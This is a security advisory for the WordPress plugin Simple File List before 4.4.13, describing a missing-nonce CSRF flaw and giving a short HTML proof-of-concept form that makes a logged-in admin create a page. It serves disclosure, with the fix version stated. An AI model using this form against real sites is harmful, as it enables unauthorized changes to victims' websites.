WordPress Plugin Vulnerabilities

Simple File List < 4.4.13 - Page Creation via CSRF

Description

The plugin does not implement nonce checks, which could allow attackers to make a logged in admin create new page and change it's content via a CSRF attack.

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php" method="POST">
      <input type="hidden" name="eeShortcode" value="Page Content" />
      <input type="hidden" name="eeCreatePostType" value="Page" />
      <input type="hidden" name="eeGo" value="Go" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

Fixed in 4.4.13

References

Classification

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Original Researcher
Raad Haddad of Cloudyrion GmbH
Submitter
Raad Haddad of Cloudyrion GmbH
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-09-19 (about 1 years ago)
Added
2022-09-19 (about 1 years ago)
Last Updated
2022-09-19 (about 1 years ago)

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